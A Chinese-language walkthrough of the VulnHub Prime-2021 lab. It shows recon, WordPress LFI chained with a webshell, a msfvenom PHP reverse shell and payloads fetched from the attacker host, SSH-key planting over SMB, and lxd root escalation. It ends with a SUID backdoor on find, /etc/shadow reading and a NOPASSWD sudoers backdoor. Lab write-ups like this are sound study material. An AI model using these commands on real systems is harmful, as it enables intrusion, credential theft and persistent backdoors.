前言:
??????? 在本次靶場環境中涉及的知識點,主要包含LFI和SMB以及Lxd組提權,具體內容包括主機探測、端口掃描、目錄掃描、wpscan掃描、反彈shell、一句話木馬、容器、linux各種提權和維持。
環境介紹:
????????本靶場使用了kali(192.168.144.128) 靶機Ubuntu系統(192.168.144.179)
靶機下載地址:https://download.vulnhub.com/prime-2021/Prime-2.ova
一:信息收集
1. 主機探測:
當我們下載好靶機時,它是登錄不上的,無法使用ifconfig命令查看,我們就需要使用nmap等工具進行探測,找到準確的靶機IP地址。
命令:
?nmap -P0 192.168.144.0/24
發現了靶機的IP地址:192.168.144.179
1.1. 端口探測:
使用如下命令進行探測:
nmap -p 1-65535 -A 192.168.144.179
發現有如下端口進行開放并搜集到了開放的服務:
22:ssh OpenSSH 8.4p1 Ubuntu 5ubuntu1 (Ubuntu Linux; protocol 2.0)
80:http? Apache/2.4.46 (Ubuntu)
139:netbios-ssn Samba smbd 4.6.2
445:netbios-ssn Samba smbd 4.6.2
10123:http ???? SimpleHTTPServer 0.6 (Python 3.9.4)
1.2. 目錄掃描:
先進行web方向的探測:
打開網頁,發現沒有什么有用的信息,接著進行目錄掃描,看看能不能找到隱藏的目錄信息:
我使用的是dirb工具,命令如下:
dirb http://192.168.144.179/
發現了如下目錄:
http://192.168.144.179/css/?
http://192.168.144.179/images/?
http://192.168.144.179/server/???
http://192.168.144.179/wp/?????
我每一個都看了一下發現沒什么有用的信息,但是這個wordpress先放一下,因為10123端口也是http服務,在看一下那個。
我在.bash_history中發現了這些內容:
sudo su - ifconfig ls cd upload/ ls ls -l cd .. ls -l chmod 755 jarves/
jarves可能是個用戶,接著往下找,在something中發現了一點“提示”,jarvus確定是用戶了
??????????????
還在upload目錄下找到了一個shell.php文件,屬于命令注入漏洞,內容如下:
<?php echo system($_GET['cmd']);?>
但是現在還不知道怎么使用。
1.3. wpscan掃描:
好了,現在就剩下wordpress沒看了,我在這里使用了wpscan進行漏洞掃描了一下,注意:這里使用了API token(免費的噢~ 但有上限)還沒有用過的兄弟們,可以試下。
傳送門如下:
【網安神器篇】——WPScan漏洞掃描工具_wpscan下載-CSDN博客
wpscan --url http://192.168.144.179/wp/ --api-token <你的token>
掃描到了LFI漏洞。
二:漏洞利用
2.LFI漏洞(本地文件包含):
訪問payload地址:
WordPress Plugin GraceMedia Media Player 1.0 - Local File Inclusion - PHP webapps Exploit
進行利用:(我這里使用了訪問源代碼的方式,可以看起來更整潔一些)
view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd
利用成功,這時可以和之前發現的shell.php進行聯用。
view-source:192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=whoami
利用成功。
2.1.方式一 反彈shell:
使用msf生成一個php腳本
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.144.128 LPORT=6666 -f raw > shell.php
在生成腳本的目錄下輸入命令:
python -m http.server 8888????
靶機進行下載該文件:
使用了wget命令:從kali上下載文件到靶機的/tmp目錄下(一般/tmp目錄普通用戶也具有寫的權限)
http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=wget%20http://192.168.144.128:8888/shell.php%20-O%20/tmp/shell.php
發現靶機請求了kali的資源,說明寫入成功,不相信的話也可以進行查看(使用F12)
http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=cat /tmp/shell.php
接著在kali進行監聽:
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.144.128
set lport 6666
run
觸發請求:
http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../tmp/shell.php
監聽成功。
2.2.方式二 上傳一句話木馬:
和前面同理:
上傳一句話木馬文件:
http://192.168.144.179/wp/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../home/jarves/upload/shell.php&cmd=wget%20http://192.168.144.128:8888/shell1.php%20-O%20/tmp/shell1.php
收到了靶機的請求,上穿成功,使用蟻劍進行連接。
三:linux權限提升(Lxd提權)
3.SMB介紹:
?SMB(Server Message Block)服務是一種在局域網上共享文件和打印機的通信協議,主要用于局域網內的不同計算機之間提供文件及打印機等資源的共享服務
查看smb的配置文件:
cat /etc/samba/smb.conf
表明允許沒有進行身份驗證的訪客用戶訪問通過?net usershare
?創建的用戶共享資源。
那么我們就可以使用smbclient命令行工具了
3.1.smbclient利用 及 ssh key免密登錄::
smbclient
? ? ?smbclient是一個smb服務器的客戶端的管理程序,可以交互式的訪問samba服務器。
詳細內容請看傳送門:
Linux基礎命令----smbclient - 一生有你llx - 博客園
查看SMB服務器所提供的所有共享資源:
smbclient -N -L? \\\\192.168.144.179
在進行查看你welcome文件夾:
smbclient -N? \\\\192.168.144.179\\welcome
嘗試寫入SSH KEY
創建一個.ssh的文件夾:
在kali上生成ssh key 命令如下:生成的公鑰會在/root/.ssh/目錄下
ssh-keygen
需要把id_rsa.pub文件名改為authorized_keys(需要進入/root/.ssh目錄下)
?mv id_rsa.pub authorized_keys
將公鑰傳入到靶機的.ssh目錄下:注意不要進入靶機的.ssh目錄下輸入如下指令,否則傳不進去
put /root/.ssh/authorized_keys .ssh/authorized_keys
使用ssh進行連接:
ssh jarves@192.168.144.179
使用id命令進行查看:發現有Lxd的權限
3.2.? Lxd介紹:
Linux Container(LXC)通常被認為是一種輕量級虛擬化技術,它介于Chroot和完整開發的虛擬機之間,LXC可以創建一個跟正常Linux操作系統十分接近的環境,但是不需要使用到單獨的內核資源。
傳送門如下:
lxd/lxc組提權 - hirak0 - 博客園
3.3. 利用Lxd進行Linux權限提升
需要下載lxd-alpine-builder-master.zip,大家可以通過百度網盤進行下載,在傳入kali去。
鏈接如下:
https://pan.baidu.com/s/1KXmXVuAI4XGoj9CO0cE11A?pwd=tzyr 提取碼: tzyr
kali:在壓縮包解壓后的路徑中,如下圖所示:
python -m http.server 8888
在靶機輸入:(注意路徑!!)再靶機中不需要解壓!!!
wget 192.168.144.128:8888/alpine-v3.13-x86_64-20210218_0139.tar.gz /alpine-v3.13-x86_64-20210218_0139.tar.gz
命令如下依次輸入:
初始化:
lxd init??????????????? #一直按回車就行導入鏡像:
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage查看鏡像:
lxc image list進入容器:
lxc init myimage ignite -c security.privileged=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc start ignite
lxc exec ignite /bin/sh
權限為root,提權成功。
補充:
mnt目錄:
????????在類 Unix 系統(如 Linux)中是一個用于臨時掛載文件系統的目錄。這道題是把主機掛在到了容器里面。
四.權限維持:
4. SUID后門:
我在這里拿find命令進行演示:
對find設置為SUID權限(后門創建)
chmod u+s /mnt/root/usr/bin/find
查找SUID文件(普通的用戶jarves)
find / -user root -perm -4000 -print 2>/dev/null
1. find 命令
find 是一個強大的文件搜索工具,用于在指定目錄及其子目錄中查找符合特定條件的文件和目錄。
2. /
這是 find 命令的搜索起始目錄,表示從根目錄開始搜索整個文件系統。
3. -user root
該選項用于指定搜索條件,即只查找由 root 用戶擁有的文件和目錄。在 Unix 系統中,每個文件和目錄都有一個所有者,root 用戶是系統的超級管理員,擁有最高權限。
4. -perm -4000
這是一個權限搜索條件。在 Unix 系統中,文件權限使用數字表示,每個權限位對應一個數值。4000 對應的是 SUID 權限。
SUID(Set User ID)是一種特殊的文件權限,當一個具有 SUID 權限的可執行文件被執行時,它會以文件所有者的身份運行。對于由 root 用戶擁有且設置了 SUID 權限的文件,任何用戶執行該文件時,都會以 root 用戶的身份運行,這可能會帶來安全風險。
- 前綴表示文件必須包含指定的所有權限位,即文件必須設置了 SUID 權限。
5. -print
該選項用于指定 find 命令的操作,即打印符合條件的文件和目錄的路徑。這是 find 命令的默認操作,所以在實際使用中,-print 可以省略。
6. 2>/dev/null
這是一個重定向操作。在 Unix 系統中,標準錯誤輸出的文件描述符是 2,/dev/null 是一個特殊的設備文件,寫入其中的數據會被丟棄。因此,2>/dev/null 的作用是將 find 命令執行過程中產生的錯誤信息重定向到 /dev/null,從而避免在終端上顯示這些錯誤信息。
在SUID權限中找到了find命令:
touch anyfile #必須要有這個文件
find anyfile -exec cat /etc/shadow \;??? #可以查看shadow文件了,還想要shell
find . -exec /bin/sh -p \; -quit
python3 -c 'import pty;pty.spawn("/bin/bash")';?//在類 Unix 系統的命令行環境下執行的一條命令,其核心目的是借助 Python 代碼創建一個交互式的 Bash shell。
4.1.SUDO后門:
在sudoers中添加后門
echo 'jarves?? ALL=(ALL:ALL) NOPASSWD:ALL' >> /mnt/root/etc/sudoers
參考文章:
lxd/lxc組提權 - hirak0 - 博客園
https://blog.csdn.net/weixin_45221204/article/details/139530533